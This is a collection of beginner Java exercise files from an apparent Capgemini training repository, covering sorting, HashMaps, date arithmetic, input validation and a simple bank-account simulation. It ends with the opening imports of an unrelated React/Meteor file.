System.out.println("Enter the length of array");
mObject.size = in.nextInt();
int array[] = new int[mObject.size];
for (int i = 0; i < mObject.size; i++)
array[i] = in.nextInt();
System.out.println(mObject.getSorted(array));
in.close();
}
ArrayList<Integer> getSorted(int[] array) {
ArrayList<Integer> arr = new ArrayList<Integer>();
StringBuilder sb = new StringBuilder("");
for (int i = 0; i < size; i++) {
sb = sb.append(array[i]);
String str = sb.reverse().toString();
arr.add(Integer.valueOf(str));
sb = new StringBuilder("");
}
Collections.sort(arr);
return arr;
}
}
<file_sep>package capgemini.firstproject.welcome;
import java.util.*;
import java.util.Map.Entry;
public class hashmap {
public static void main(String[] args) {
// TODO Auto-generated method stub
Scanner in = new Scanner(System.in);
System.out.println("Enter the number of instances");
int n=in.nextInt();String name,bank;String accno;
HashMap<String,Customer> hm1=new HashMap<String,Customer>();
Random rn= new Random();
for(int i=1;i<=n;i++)
{
System.out.println("Enter "+i);
System.out.println("Enter the name");
name=in.next();
System.out.println("Enter the bank");
bank=in.next();
Customer c1 = new Customer(name,bank);
accno=""+(10000+rn.nextInt(90000));
hm1.put(accno, c1);
}
Iterator<Entry<String, Customer>> i = hm1.entrySet().iterator();
while(i.hasNext())
{
Map.Entry<String,Customer> entry=(Entry<String, Customer>) i.next();
System.out.println("key "+entry.getKey()+" value "+entry.getValue().getBankname()+" "+entry.getValue().getName());
}
in.close();
}
}<file_sep>package capgemini.firstproject.welcome;
import java.time.LocalDate;
import java.time.Period;
import java.util.ArrayList;
import java.util.HashMap;
import java.util.Iterator;
import java.util.Map;
import java.util.Map.Entry;
import java.util.Scanner;
public class Labbook7_Sixth {
int size = 0;
public static void main(String[] args) {
// TODO Auto-generated method stub
Labbook7_Sixth mObject = new Labbook7_Sixth();
Scanner in = new Scanner(System.in);
System.out.println("Enter the length of array");
mObject.size = in.nextInt();
HashMap<Integer, String> hm = new HashMap<Integer, String>();
for (int i = 0; i < mObject.size; i++) {
System.out.println("Enter the Id Number");
int id = in.nextInt();
System.out.println("Enter the dob in dd/mm/yyyy format");
String dob = in.next();
hm.put(id, dob);
}
System.out.println(mObject.votersList(hm));
in.close();
}
ArrayList<Integer> votersList(HashMap<Integer, String> hm) {
// TODO Auto-generated method stub
ArrayList<Integer> arr=new ArrayList<Integer>();
Iterator<Entry<Integer, String>> itr=hm.entrySet().iterator();
while(itr.hasNext())
{
Map.Entry<Integer, String> entry=(Map.Entry<Integer, String>)itr.next();
String db[]=((String) entry.getValue()).split("/");
LocalDate date=LocalDate.of(Integer.parseInt(db[2]),Integer.parseInt(db[1]),Integer.parseInt(db[0]));
LocalDate now=LocalDate.now();
Period diff=Period.between(date,now);
if(diff.getYears()>=18)
arr.add((Integer) entry.getKey());
}
return arr;
}
}
<file_sep>package capgemini.firstproject.Bank;
import java.util.Scanner;
public class SC extends RBI
{
@Override
public void AddAmount(Scanner in) {
// TODO Auto-generated method stub
setAddInterest(0.038);
super.AddAmount(in);
}
@Override
public void WithdrawAmount(Scanner in) {
// TODO Auto-generated method stub
setWithdrawInterest(0.03);
setMinBalance(5000);
super.WithdrawAmount(in);
}
}<file_sep>package capgemini.firstproject.welcome;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
import java.time.LocalDate;
import java.time.Period;
public class Labbook6_Ninth {
BufferedReader br = new BufferedReader(new InputStreamReader(System.in));
String str="";
public static void main(String[] args) {
// TODO Auto-generated method stub
Labbook6_Ninth mObject = new Labbook6_Ninth();
mObject.display(mObject);
}
void display(Labbook6_Ninth mObject) {
System.out.println("Enter the date in dd/mm/yyyy format");
try {
mObject.str = br.readLine();
} catch (NumberFormatException | IOException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
finally {
try {
br.close();
} catch (IOException e)
{
// TODO Auto-generated catch block
e.printStackTrace();
}}
String ar[]=str.split("/");
LocalDate date=LocalDate.of(Integer.parseInt(ar[2]),Integer.parseInt(ar[1]),Integer.parseInt(ar[0]));
LocalDate now = LocalDate.now();
Period diff=Period.between(date, now);
System.out.printf("\nDifference is %d years, %d months and %d days old\n\n", diff.getYears(), diff.getMonths(),
diff.getDays());
}
}<file_sep>package capgemini.firstproject.welcome;
public class Labbook1_Third {
int num=16;
static void main(String[] args)
{
Labbook1_Third mObject = new Labbook1_Third();
System.out.println(mObject.checkNumber(mObject.num));
}
boolean checkNumber(int number)
{
return (number>0)&&((number&(number-1))==0);
}
}
<file_sep>package capgemini.firstproject.welcome;
public class Labbook1_Fourth {
int num=31;
public static void main(String[] args)
{
Labbook1_Fourth mObject = new Labbook1_Fourth();
System.out.println(mObject.checkNumber(mObject.num));
}
boolean checkNumber(int number)
{
return (number>0)&&((number&(number-1))==0);
}
}
<file_sep>package capgemini.firstproject.welcome;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
public class Labbook5_Fourth {
public static void main(String[] args) {
// TODO Auto-generated method stub
Labbook5_Fourth mObject=new Labbook5_Fourth();
InputStreamReader isr=new InputStreamReader(System.in);
BufferedReader br=new BufferedReader(isr);
String first="",last="";
System.out.println("Enter the first name and last name");
try {
first=br.readLine();
last=br.readLine();
} catch (IOException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
try
{
mObject.validate(first,last);
}
catch(MyException e)
{
System.out.println(e);
}
}
public void validate(String first,String last) throws MyException
{
if(first.length()==0 && last.length()==0){
throw new MyException("Both name should not be empty");
}
else if(last.length()==0) {
throw new MyException("Last Name should not be Empty");
}
else if (first.length()==0) {
throw new MyException("First Name field should not be Empty");
}
}
}
<file_sep>package capgemini.firstproject.Banking;
import java.util.HashMap;
public class CustomerData
{
public static HashMap<String, Customer> data()
{
Customer c1 = new Customer("Pankaj", "ICICI",10000);
Customer c2 = new Customer("Piyush", "HDFC",15000);
Customer c3 = new Customer("Saurabh", "AXIS",9000);
Customer c4 = new Customer("Siddharth", "SBI",6000);
Customer c5 = new Customer("Mayank", "ICICI",20000);
Customer c6 = new Customer("Himanshu", "HDFC",23000);
Customer c7 = new Customer("Rohit", "AXIS",32000);
Customer c8 = new Customer("Kapil", "SC",8000);
HashMap<String, Customer> hm = new HashMap<String, Customer>();
hm.put("10000", c1);
hm.put("10001", c2);
hm.put("10002", c3);
hm.put("10003", c4);
hm.put("10004", c5);
hm.put("10005", c6);
hm.put("10006", c7);
hm.put("10007", c8);
return hm;
}
}
<file_sep>package capgemini.firstproject.welcome;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
public class Labbook5_Second
{
public static void main(String args[])
{
Labbook5_Second mObject = new Labbook5_Second();
InputStreamReader isr=new InputStreamReader(System.in);
BufferedReader br=new BufferedReader(isr);
System.out.println("Enter the value if n");
int n=0;
try {
n=Integer.parseInt(br.readLine());
} catch (NumberFormatException e) {
// TODO Auto-generated catch block
e.printStackTrace();
} catch (IOException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
for(int i=0;i<n;i++)
System.out.println(mObject.recursive(i));
mObject.nonrecursive(n);
}
int recursive(int n)
{
if(n==0)
return 0;
else if(n==1)
return 1;
else
return (recursive(n-1)+recursive(n-2));
}
public void nonrecursive(int n)
{
int first=-1;
int second=1;
int value;
for(int i=0;i<n;i++)
{value=first+second;
System.out.println(value);
first=second;
second=value;
}
}
}
<file_sep>package capgemini.firstproject.Books;
public class Book extends WrittenItem
{
String BookGenre;
public String getBookGenre() {
return BookGenre;
}
public void setBookGenre(String bookGenre) {
BookGenre = bookGenre;
}
@Override
public void WrittenQuality()
{
// TODO Auto-generated method stub
}
}
<file_sep>package capgemini.firstproject.Bank;
import java.util.Scanner;
public abstract class RBI {
double Balance=0,AddInterest,WithdrawInterest,MinBalance;int WithdrawCounter=0,AddCounter=0;
public void Display(double balance)
{
}
public double getBalance() {
return Balance;
}
public void setBalance(double balance) {
Balance = balance;
}
public double getAddInterest() {
return AddInterest;
}
public void setAddInterest(double addInterest) {
AddInterest = addInterest;
}
public double getWithdrawInterest() {
return WithdrawInterest;
}
public void setWithdrawInterest(double withdrawInterest) {
WithdrawInterest = withdrawInterest;
}
public double getMinBalance() {
return MinBalance;
}
public void setMinBalance(double minBalance) {
MinBalance = minBalance;
}
public int getWithdrawCounter() {
return WithdrawCounter;
}
public void setWithdrawCounter(int withdrawCounter) {
WithdrawCounter = withdrawCounter;
}
public int getAddCounter() {
return AddCounter;
}
public void setAddCounter(int addCounter) {
AddCounter = addCounter;
}
public void AddAmount(Scanner in) {
System.out.println("Enter the money to be Deposited");
int add=in.nextInt();
setAddCounter(getAddCounter()+1);
if(getAddCounter()<=3)
{
setBalance(getBalance()+add);
}
else
{
setBalance(getBalance()+add);
setBalance(getBalance()+getBalance()*getAddInterest());
}
System.out.println("The Balance is "+getBalance());
}
public void WithdrawAmount(Scanner in)
{
System.out.println("Enter the money to be Withdrawn");
int with=in.nextInt();
setWithdrawCounter(getWithdrawCounter()+1);
if(getBalance()-with>=getMinBalance())
{
if(getWithdrawCounter()<=3)
{
setBalance(getBalance()-with);
}
else
{
setBalance(getBalance()-with);
setBalance(getBalance()-getBalance()*getWithdrawInterest());
}
}
else
{
System.out.println("Not enough Balance ");
}
System.out.println("The Balance is "+getBalance());
}
}<file_sep>package capgemini.firstproject.welcome;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
public class Labbook5_Fifth {
public static void main(String[] args)
{
// TODO Auto-generated method stub
Labbook5_Fifth mObject=new Labbook5_Fifth();
BufferedReader br=new BufferedReader(new InputStreamReader(System.in));
int a=0;
System.out.println("Enter the age");
try {
a=Integer.parseInt(br.readLine());
} catch (NumberFormatException e) {
// TODO Auto-generated catch block
e.printStackTrace();
} catch (IOException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
finally {
try {
br.close();
} catch (IOException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
}
try {
mObject.validate(a);
} catch (MyException e) {
// TODO Auto-generated catch block
System.out.println(e);
}
}
public void validate(int a) throws MyException
{
if(a<=15)
{
throw new MyException("Age of a person should be above 15");
}
}
}
<file_sep>package capgemini.firstproject.welcome;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
import java.util.StringTokenizer;
public class Labbook6_First
{
BufferedReader br=new BufferedReader(new InputStreamReader(System.in));
String str="";
public static void main(String[] args)
{
// TODO Auto-generated method stub
Labbook6_First mObject=new Labbook6_First();
mObject.display(mObject);
}
public void display(Labbook6_First mObject)
{
System.out.println("Enter the String");
try {
mObject.str=br.readLine();
} catch (IOException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
finally
{
try {
br.close();
} catch (IOException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
}
int temp,sum=0;
StringTokenizer st1= new StringTokenizer(str," ");
while (st1.hasMoreTokens())
{
temp=Integer.parseInt(st1.nextToken());
System.out.println(temp);
sum=sum+temp;
}
System.out.println(sum);
}
}
<file_sep>/*
* @Author Capgemini
* @Developer <NAME>
* @Description This class performs banking process.
* @Created 27/01/2020
* @Version 1.0
* @Status release Beta
*/
package capgemini.firstproject.Bank;
import java.util.Scanner;
public class Labbook_Bank {
RBI mRBI;
Scanner in = new Scanner(System.in);
public static void main(String[] args) {
Labbook_Bank mObject = new Labbook_Bank();
mObject.welcome();
}
void welcome() {
System.out.println("Select your bank \n 1. ICICI \n 2. HDFC \n 3. SC \n 4. AXIS");
int choice = in.nextInt();
switch (choice) {
case 1:
mRBI = (ICICI) new ICICI();
operation(mRBI);
break;
case 2:
mRBI = (HDFC) new HDFC();
operation(mRBI);
break;
case 3:
mRBI = (SC) new SC();
operation(mRBI);
break;
case 4:
mRBI = (AXIS) new AXIS();
operation(mRBI);
break;
default:
System.out.println("Try Again");
welcome();
break;
}
}
void operation(RBI mRBI) {
int flag = 1;
while (flag == 1) {
System.out.println("Choose Operation \n 1. Add Money \n 2. Withdraw Money \n 3. STOP");
int op = in.nextInt();
switch (op) {
case 1:
mRBI.AddAmount(in);
break;
case 2:
mRBI.WithdrawAmount(in);
break;
case 3:
flag = 0;
break;
default:
System.out.println("Try Again");
operation(mRBI);
break;
}
}
}
}
<file_sep>package capgemini.firstproject.welcome;
import java.util.Scanner;
public class Labbook3_Fourth {
public static void main(String[] args) {
Labbook3_Fourth mObject = new Labbook3_Fourth();
Scanner in = new Scanner(System.in);
System.out.println("Enter the length of array");
int size = in.nextInt();
char array[] = new char[size];
for (int i = 0; i < size; i++)
array[i] = in.next().charAt(0);
mObject.count(array, size);
in.close();
}
public void count(char array[], int size) {
StringBuilder array2=new StringBuilder("");
int map[] = new int[256];
for (int i = 0; i < size; i++) {
map[array[i]]++;
}
array2.append(array[0]);
for (int i = 1; i < size; i++)
{
int count = 0;
for (int j = 0; j <array2.length(); j++)
if (array[i] == array2.charAt(j))
count++;
if (count == 0)
array2.append(array[i]);
else
i++;
}
System.out.println(array2);
size=array2.length();
for (int i = 0; i <size; i++) {
System.out.println(array2.charAt(i) + "=" + map[array2.charAt(i)]);
}
}
}
<file_sep>package capgemini.firstproject.welcome;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
public class Labbook4_First {
public static void main(String[] args)
{
// TODO Auto-generated method stub
Labbook4_First mObject = new Labbook4_First();
System.out.println("Enter the number");
int n=0;
InputStreamReader isr=new InputStreamReader(System.in);
BufferedReader br= new BufferedReader(isr);
try {
n=Integer.parseInt(br.readLine());
} catch (IOException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
mObject.cube(n);
}
public void cube(int n)
{
int a,b=0;
while(n!=0)
{
a=n%10;
b=b+a*a*a;
n=n/10;
}
System.out.println(b);
}
}
<file_sep>package capgemini.firstproject.welcome;
import java.util.HashMap;
import java.util.Scanner;
public class Labbook7_Second {
int size = 0;
public static void main(String[] args) {
// TODO Auto-generated method stub
Labbook7_Second mObject = new Labbook7_Second();
Scanner in = new Scanner(System.in);
System.out.println("Enter the length of array");
mObject.size = in.nextInt();
char array[] = new char[mObject.size];
for (int i = 0; i < mObject.size; i++)
array[i] = in.next().charAt(0);
System.out.println(mObject.countCharacter(array));
in.close();
}
HashMap<Character, Integer> countCharacter(char[] array) {
// TODO Auto-generated method stub
HashMap<Character, Integer> hm = new HashMap<Character, Integer>();
for (int i = 0; i < size; i++) {
if (hm.containsKey(array[i]))
hm.put(array[i], hm.get(array[i]) + 1);
else
hm.put(array[i], 1);
}
return hm;
}
}
<file_sep>package capgemini.firstproject.welcome;
import java.util.Scanner;
public class Labbook3_Second {
public static void main(String[] args) {
// TODO Auto-generated method stub
Labbook3_Second mObject = new Labbook3_Second();
Scanner in = new Scanner(System.in);
System.out.println("Enter the length of array");
int size=in.nextInt();
String array[]=new String[size];
for(int i=0;i<size;i++)
array[i]=in.nextLine();
mObject.operation(array,size);
in.close();}
public void operation(String array[],int size)
{
for(int i=0;i<size-1;i++)
for(int j=0;j<size-i-1;j++)
{
if(array[j].compareTo(array[j+1])>0)
{
String temp=array[j];
array[j]=array[j+1];
array[j+1]=temp;
}
}
for(int i=0;i<size;i++)
if(i<size/2)
array[i]=array[i].toUpperCase();
else
array[i]=array[i].toLowerCase();
if(size%2==1)
{
array[size/2+1]=array[size/2+1].toUpperCase();
}
for(int i=0;i<size;i++)
System.out.println(array[i]);
}
}
|
6e8621515396f776174a1ff01548a5a1d4f9fc9e
|
[
"Java"
] | 19 |
Java
|
pankajchamyal/Capgemini.Java.FullStack
|
b6d05cbabffe00cdb5e703e4666111edede92175
|
0b575c9748bd276319e1ddc2646b176627326dd7
|
refs/heads/master
|
<repo_name>helloitsjoe/lessons<file_sep>/lesson-03/colors.js
function randomChannel() {
return Math.floor(Math.random() * 256);
}
function randomColor() {
return `rgb(${randomChannel()},${randomChannel()},${randomChannel()})`;
}
<file_sep>/lesson-04/README.md
# Lesson 4
## To Use
```
# Install dependencies
npm install
# Run the app
npm start
```
Learn more about Electron and its API in the [documentation](http://electron.atom.io/docs/latest).
<file_sep>/lesson-02/particle.js
const wallBounciness = 0.8;
const bounciness = 0.8; // Bounciness value between 0 (no bounce) and 1 (no loss of energy when bouncing)
const gravity = 2;
class Particle {
constructor (x, y, vx, vy, radius, canvas, world){
this.x = x;
this.y = y;
this.vx = vx;
this.vy = vy;
this.canvas = canvas;
this.radius = radius;
this.color = randomColor();
this.world = world;
}
render (ctx) {
drawCircle(ctx, this.x, this.y, this.radius, this.color);
}
update(timeElapsed) {
this.x += this.vx; // Apply horizontal velocity
this.y += this.vy; // Apply vertical velocity
this.vy += gravity; // Apply gravity to vercital velocity
if (this.y > canvas.height) {
this.reactToBounce();
this.y = canvas.height;
this.vy *= - bounciness;
}
if (this.y < 0) {
this.reactToBounce();
this.y = 0;
this.vy *= - bounciness;
}
if (this.x > canvas.width) {
this.reactToBounce();
this.x = canvas.width;
this.vx *= - wallBounciness;
}
if (this.x < 0) {
this.reactToBounce();
this.x = 0;
this.vx *= - wallBounciness;
}
}
reactToBounce() {
// this.radius *= 1.2;
this.color = randomColor();
this.cloneSelf();
}
cloneSelf() {
this.world.addEntity(new Particle(
this.x,
this.y,
this.vx + (Math.random() - 0.5) * 1,
this.vy + (Math.random() - 0.5) * 1,
this.radius,
this.canvas,
this.world
));
}
}
<file_sep>/lesson-03/input.js
let Input = {
mouseLeftDown: false,
mouseRightDown: false,
mouseX: 0,
mouseY: 0,
isKeyDown(key){
return KeyState[key];
},
Keys: {
LEFT: 37,
UP: 38,
RIGHT: 39,
DOWN: 40,
SPACEBAR: 32
}
};
let KeyState = {};
for (let key in Input.Keys) {
KeyState[Input.Keys[key]] = false;
}
document.addEventListener('mousedown', (event) => {
if (event.button === 0) {
mouseLeftDown = true;
} else if (event.button === 2) {
mouseRightDown = true;
}
});
document.addEventListener('mousemove', (event) => {
mouseX = event.clientX;
mouseY = event.clientY;
});
document.addEventListener('mouseup', (event) => {
if (event.button === 0) {
mouseLeftDown = false;
} else if (event.button === 2) {
mouseRightDown = false;
}
});
document.addEventListener('keydown', (event) => {
for (let key in Input.Keys) {
if (Input.Keys[key] === event.keyCode) {
KeyState[Input.Keys[key]] = true;
}
}
});
document.addEventListener('keyup', (event) => {
for (let key in Input.Keys) {
if (Input.Keys[key] === event.keyCode) {
KeyState[Input.Keys[key]] = false;
}
}
});
<file_sep>/lesson-01/app.js
const canvas = document.getElementById('canvas');
canvas.width = window.innerWidth;
canvas.height = window.innerHeight;
const ctx = canvas.getContext('2d');
let cx = canvas.width / 2;
let cy = canvas.height / 2;
let gravity = 2;
let vx = (Math.random() - 0.5) * 50;
let vy = (Math.random() - 0.5) * 50;
let wallBounciness = 0.4;
let bounciness = 0; // Bounciness value between 0 (no bounce) and 1 (no loss of energy when bouncing)
let spacebarDown = false;
let leftDown = false;
let rightDown = false;
function resize() {
canvas.width = window.innerWidth;
canvas.height = window.innerHeight;
render();
}
function circle(cx, cy, radius, color) {
ctx.fillStyle = color;
ctx.beginPath();
ctx.arc(cx,cy,radius,0,Math.PI*2,true);
ctx.fill();
}
function update() {
cx += vx; // Apply horizontal velocity
cy += vy; // Apply vertical velocity
vy += gravity; // Apply gravity to vercital velocity
if (cy > canvas.height) {
cy = canvas.height;
vy *= - bounciness;
}
if (cy < 0) {
cy = 0;
vy *= - bounciness;
}
if (cx > canvas.width) {
cx = canvas.width;
vx *= - wallBounciness;
}
if (cx < 0) {
cx = 0;
vx *= - wallBounciness;
}
if (leftDown) {
vx -= 1;
}
if (rightDown) {
vx += 1;
}
}
function loop() {
update();
render();
requestAnimationFrame(loop);
}
requestAnimationFrame(loop);
function render() {
ctx.fillStyle = "blue";
ctx.fillRect(0, 0, canvas.width, canvas.height);
circle(cx,cy,50,'red');
}
window.addEventListener('resize', resize);
resize(); // Do initial resize to initialize to window dimensions
// for keyCode reference: http://keycode.info/
window.addEventListener('keydown', (event) => {
if (event.keyCode === 32) {
spacebarDown = true;
if (cy === canvas.height) {
vy -= 50;
}
}
if (event.keyCode === 37) {
leftDown = true;
}
if (event.keyCode === 39) {
rightDown = true;
}
});
window.addEventListener('keyup', (event) => {
if (event.keyCode === 32) {
spacebarDown = false;
}
if (event.keyCode === 37) {
leftDown = false;
}
if (event.keyCode === 39) {
rightDown = false;
}
});
// API: https://developer.mozilla.org/en-US/docs/Web/API/Canvas_API
<file_sep>/lesson-03/player.js
(function(){
const wallBounciness = 0.8;
const bounciness = 0.8; // Bounciness value between 0 (no bounce) and 1 (no loss of energy when bouncing)
const gravity = 2;
const IMPULSE = 20.5;
const PLAYER_RADIUS = 50;
class Player {
constructor (x, y, vx, vy, canvas, world){
this.x = x;
this.y = y;
this.vx = vx;
this.vy = vy;
this.canvas = canvas;
this.radius = PLAYER_RADIUS;
this.color = 'black';
this.world = world;
}
render (ctx) {
drawCircle(ctx, this.x, this.y, this.radius, this.color);
}
update(timeElapsed) {
if (Input.isKeyDown(Input.Keys.LEFT)){
this.vx = -IMPULSE;
}
if (Input.isKeyDown(Input.Keys.RIGHT)){
this.vx = IMPULSE;
}
this.x += this.vx; // Apply horizontal velocity
this.y += this.vy; // Apply vertical velocity
this.vy += gravity; // Apply gravity to vercital velocity
if (this.y > canvas.height) {
this.reactToBounce();
this.y = canvas.height;
this.vy *= - wallBounciness;
}
if (this.y < 0) {
this.reactToBounce();
this.y = 0;
this.vy *= - bounciness;
}
if (this.x > canvas.width) {
this.reactToBounce();
this.x = canvas.width;
this.vx *= - wallBounciness;
}
if (this.x < 0) {
this.reactToBounce();
this.x = 0;
this.vx *= - wallBounciness;
}
}
reactToBounce() {
// this.radius *= 1.2;
// this.color = randomColor();
}
}
window.Player = Player;
})();
<file_sep>/lesson-03/render.js
function drawCircle(ctx, cx, cy, radius, color) {
ctx.fillStyle = color;
ctx.beginPath();
ctx.arc(cx,cy,radius,0,Math.PI*2,true);
ctx.fill();
}
<file_sep>/lesson-03/world.js
class World {
constructor (){
this.entities = [];
}
addEntity(entity) {
this.entities.push(entity);
}
render (ctx) {
this.entities.forEach( entity => entity.render(ctx));
}
update(timeElapsed) {
this.entities.forEach( entity => entity.update(timeElapsed));
}
}
|
b2b64f23ed1760fd36236de866a0eb6cbf8ef831
|
[
"JavaScript",
"Markdown"
] | 8 |
JavaScript
|
helloitsjoe/lessons
|
1b6c20df8d810d6ec54e38411031d56d5b286732
|
731c5cfaa9b112395b9423f26eb62806852bb37b
|
refs/heads/master
|
<repo_name>AlanJinqs/Python-QQ-Tools<file_sep>/README.md
# Python-QQ-Tools
一些用Python写的QQ小工具
---
* QQNewsPush:将一个QQ空间国际新闻自媒体的消息使用QQbot推送到指定群里
* QQMessage:分析QQ聊天记录(词语频率与聊天时间)
<file_sep>/QQMessage/Main.py
# encoding=utf-8
print("模块加载中,请稍后…")
import codecs
import time
import re
import matplotlib.pyplot as plt
import jieba
from collections import Counter
import warnings
import os
import easygui
warnings.filterwarnings("ignore")
# 解决matplotlib显示中文的问题
import matplotlib as mpl
mpl.rcParams["font.sans-serif"] = ["SimHei"]
mpl.rcParams['axes.unicode_minus'] = False
# 获取24个时间段----->periods
# 用于之后时间的分段
def get_periods():
periods = []
for i in range(0, 24):
# 这里的判断用于将类似的‘8’ 转化为 ‘08’ 便于和导出数据匹配
if i < 10:
i = '0' + str(i)
else:
i = str(i)
periods.append(i)
return periods
# 对每一个时间段进行计数
def classification(times, period):
num = 0
for tim in times:
try:
timm = int(tim)
except:
tim = tim.replace(":", "")
tim = "0" + tim
if tim == period:
num += 1
period_time.append([period, num])
# print(period, '--->', num)
# 作图
def plot_time(period_time, name):
time = []
num = []
for i in period_time:
time.append(i[0])
num.append(i[1])
time = time[6:24] + time[0:6]
num = num[6:24] + num[0:6]
# print(time,'\n',num)
labels = time
x = [i for i in range(0, 24)]
plt.plot(num, 'g')
num_max = max(num)
plt.xticks(x, labels)
plt.axis([00, 24, 0, num_max * (1.2)])
plt.grid(True)
plt.title(name)
plt.ylabel('发言量')
plt.xlabel('时间')
plt.show()
def get_person_data(filename, name):
person_data = {'date': [], 'time': [], 'word': []}
with open(filename, encoding='utf-8') as f:
s = f.read()
# 正则,跨行匹配
pa = re.compile(r'^(\d{4}-\d{2}-\d{2}) (\d{2}:\d{2}:\d{2}|\d:\d{2}:\d{2}) ' + name + '\n(.*?)\n$',
re.DOTALL + re.MULTILINE)
ma = re.findall(pa, s)
# print(len(ma))
for i in range(len(ma)):
# print(ma[i][0])
date = ma[i][0]
time = ma[i][1]
word = ma[i][2]
person_data['date'].append(date)
person_data['time'].append(time[0:2])
person_data['word'].append(word)
return person_data
def fuhao(text):
while 1 == 1:
try:
lists.remove(text)
except:
break
########################################################
script_name = "QQ聊天记录"
#s = easygui.enterbox(msg='请输入聊天记录的文件名(无后缀)', title=' ', default='', strip=True, image=None, root=None)+ '.txt'
file1=easygui.fileopenbox(default="*.txt")
filepath = file1
# 读取文件
try:
fp = codecs.open(filepath, 'r', 'utf-8')
except:
easygui.msgbox('文件读取异常:(')
exit()
txt = fp.read()
fp.close()
mode = easygui.ccbox(msg='请选择读取方式', title=' ', choices=('读取指定人', '全部读取'), image=None)
if mode == 0:
name1 = file1.strip('.txt')
name_sp = name1.split('\\')
name = name_sp[-1]
name2 = '(.*?)'
else:
name = easygui.enterbox(msg='请输入要提取人的备注', title=' ', default='', strip=True, image=None, root=None)
name2 = name
file2= name+'Arrange.txt'
if mode != 0:
# 整理后的记录
log_format = ''
# 开始整理
contentlist = get_person_data(file1,name2)
contentli = contentlist["word"]
fp = codecs.open(file2, 'w', 'utf-8')
for i in contentli:
fp.write(i)
fp.write("\n")
fp.close()
else:
re_pat = r'20[\d-]{8}\s[\d:]{7,8}\s+[^\n]+[^\n]'
log_title_arr = re.findall(re_pat, txt) # 记录头数组['2016-06-24 15:42:52 张某(40**21)',…]
log_content_arr = re.split(re_pat, txt) # 记录内容数组['\n', '\n选修的\n\n', '\n就怕这次…]
log_content_arr.pop(0) # 剔除掉第一个(分割造成的冗余部分)
l1 = len(log_title_arr)
log_format = ''
for i in range(0, l1):
content = log_content_arr[i].strip() # 删记录内容首尾空白字符
content = content.replace('\r\n', '\n') # 记录中的'\n',替换为'\r\n'
content = content.replace('\n', '\r\n')
log_format += content + '\r\n' # 拼接合成记录
fp = codecs.open(file2, 'w', 'utf-8')
fp.write(log_format)
fp.close()
###########
filepath2 = file2
fp2 = codecs.open(filepath2, 'r', 'utf-8')
lines = fp2.readlines()
fp2.close()
list_length = len(lines)
lists = []
easygui.msgbox('结…巴…正…在…分…析…')
try:
fp = codecs.open(filepath, 'r', 'utf-8')
for line in lines:
seg_list = jieba.lcut(line)
lists += seg_list
except:
easygui.msgbox('结巴分词异常:(')
exit()
############################
fuhaolist = ["\n",'\r\n',',','。','[',']','【','】','图片','表情','…',':','_','-','´','(',')','<','>','д','`','ノ','=',
'你','她','他','我',' ','就','我们','在','好',
'ヽ','`','...','?',' ̄','!',',','/','ㅍ','┍','┑','Д','~',
'的','了','是','啊','不','都','吧','有','要','说']
for fuh in fuhaolist:
fuhao(fuh)
##########################
count = Counter(lists).most_common()
file3 = open('output.txt','w',encoding='UTF-8')
for x in count:
c1 = list(x)
lineee = ''.join(str(c1[0]))+'=>'+''.join(str(c1[1]))+'\n'
file3.write(lineee)
###############
file3.close()
period_time = []
person_data = get_person_data(file1, name2)
times = person_data['time']
periods = get_periods()
for period in periods:
classification(times, period)
plot_time(period_time, name)
# print(person_data['word'])
file4 = open('output.txt','r',encoding='UTF-8')
os.system('notepad output.txt')
time.sleep(10)<file_sep>/QQNewsPush/main.py
#! python3
# coding: utf-8
from qqbot import QQBot
from bs4 import BeautifulSoup
from selenium import webdriver
import time
import chardet
groupnum = "这里写群号"
# 使用selenium
driver = webdriver.PhantomJS(executable_path="phantomjs.exe")
#driver = webdriver.PhantomJS(executable_path="/root/qqbot/phantomjs")
driver.maximize_window()
myqqbot = QQBot()
@myqqbot.On('qqmessage')
# 登录QQ空间
def get_shuoshuo(qq):
global num1
global time1
driver.refresh()
time.sleep(5)
try:
driver.find_element_by_id('login_div')
a = True
except:
a = False
driver.implicitly_wait(3)
try:
driver.find_element_by_id('QM_OwnerInfo_Icon')
b = True
except:
b = False
if b == True:
driver.switch_to.frame('app_canvas_frame')
content = driver.find_elements_by_css_selector('.content')
stime = driver.find_elements_by_css_selector('.c_tx.c_tx3.goDetail')
for con, sti in zip(content, stime):
if num1 == 0:
if time1 == sti.text:
pass
num1 = 1
else:
time1 = sti.text
myqqbot.Send('group', groupnum, con.text)
print(con.text)
pages = driver.page_source
soup = BeautifulSoup(pages, 'lxml')
num1 = 1
myqqbot.Login()
time1 = "1999-99-99"
qq = '2159195672'
driver.set_page_load_timeout(300)
driver.get('http://user.qzone.qq.com/' + qq + '/311')
time.sleep(10)
driver.set_window_size(1280,800)
savepath = r'qzone.jpg'
driver.save_screenshot(savepath)
print("[INFO]请打开程序目录下“qzone.jpg”并扫描二维码")
while 1 == 1:
try:
driver.find_element_by_id('QM_OwnerInfo_Icon')
print("[INFO]检测到登录!读取网页中")
time.sleep(10)
break
except:
print("[INFO]未检测到登录")
time.sleep(1)
@myqqbot.On('qqmessage')
def handler(bot, message):
if message.content == '-stop':
bot.SendTo(message.contact, 'biu~')
print(message.contact)
bot.Stop()
while 1 == 1:
num1 = 0
get_shuoshuo(qq)
time.sleep(300)
#driver.close()
#driver.quit()
|
073d66a651143a7f3c9979091617d36f2d7c0275
|
[
"Markdown",
"Python"
] | 3 |
Markdown
|
AlanJinqs/Python-QQ-Tools
|
a424aed151d08524f9804e5e71b4d90b8ae86a15
|
3700dfd1bd2ff4eb9db207412a1d43e1668234a1
|
refs/heads/master
|
<file_sep>import React, {Component} from 'react';
import {withTracker} from 'meteor/react-meteor-data';
import "./main.css";
import Navbar from "./components/layout/Navbar";
import {Demand} from "../api/demand.js";
import {Materials} from "../api/materials.js";
